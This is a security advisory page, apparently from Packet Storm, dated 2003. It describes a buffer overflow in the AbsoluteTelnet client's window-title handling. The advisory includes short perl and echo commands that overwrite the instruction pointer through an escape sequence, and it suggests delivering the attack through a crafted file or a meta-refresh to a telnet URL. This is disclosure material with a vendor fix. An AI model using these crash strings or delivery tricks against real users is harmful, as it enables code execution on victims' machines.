Exploit the possiblities

absolute.telnet.txt

absolute.telnet.txt
Posted Feb 7, 2003
Authored by Knud Erik Hojgaard | Site kokanins.homepage.dk

The code that sets the programs title bar in AbsoluteTelnet contains a buffer overflow vulnerability that can allow code execution. This affects AbsoluteTelnet version 2.00, 2.11 and has been fixed in this beta version of AbsoluteTelnet.

tags | advisory, overflow, code execution
MD5 | 37c13470d238492e647dd46d8ddbff44

absolute.telnet.txt

Change Mirror Download
<crap>
This advisory may be found at http://kokanins.homepage.dk/
This advisory may not be reproduced, in part or in full, unless this notice
is included.
This advisory was written by knud.
</crap>

I. BACKGROUND

Celestial software's AbsoluteTelnet is "the ultimate terminal client,
it provides the most rock-solid emulations, the best security, and
the fastest throughput of all terminal clients, along with unrelenting
performance and stellar features"

More information about the application is available at
http://www.celestialsoftware.net/telnet/index.html

II. DESCRIPTION

Insufficient bounds checking in the code that sets the programs titlebar
leads to execution of arbitrary code.
The following will reproduce the problem/set EIP to 0x0:

export KNUD=`perl -e 'print "A" x 174'`
echo -ne "\033]0;$KNUD\007"

and the following will set EBP/EIP to 0x41414141, hence allowing the
execution of attacker-supplied code.

export KNUD=`perl -e 'print "A" x 296'`
echo -ne "\033]0;$KNUD\007"

III. ANALYSIS

A user able to entice the victim to 'cat' a file will be able to perform
this attack. AbsoluteTelnet may furthermore be selected as the "default
telnet client", which will enable an attacker to exploit this via amongst
other means, a meta refresh such as
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=telnet://hostile.serv.er">.

Furthermore the ssh login/password is kept in plaintext in memory throughout
the entire session, which might enable the attacker to recover this as well.

IV. DETECTION

AbsoluteTelnet 2.00 is vulnerable.
AbsoluteTelnet 2.11 is vulnerable, but the buffer gets converted to unicode
before the register overwrite, which hinders exploitation a bit.

V. WORKAROUND

http://www.celestialsoftware.net/telnet/beta_software.html has an updated
beta version.

VI. VENDOR FIX

above

VII. CREDIT

Knud

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    4 Files
  • 11
    Dec 11th
    41 Files
  • 12
    Dec 12th
    44 Files
  • 13
    Dec 13th
    25 Files
  • 14
    Dec 14th
    15 Files
  • 15
    Dec 15th
    28 Files
  • 16
    Dec 16th
    3 Files
  • 17
    Dec 17th
    13 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close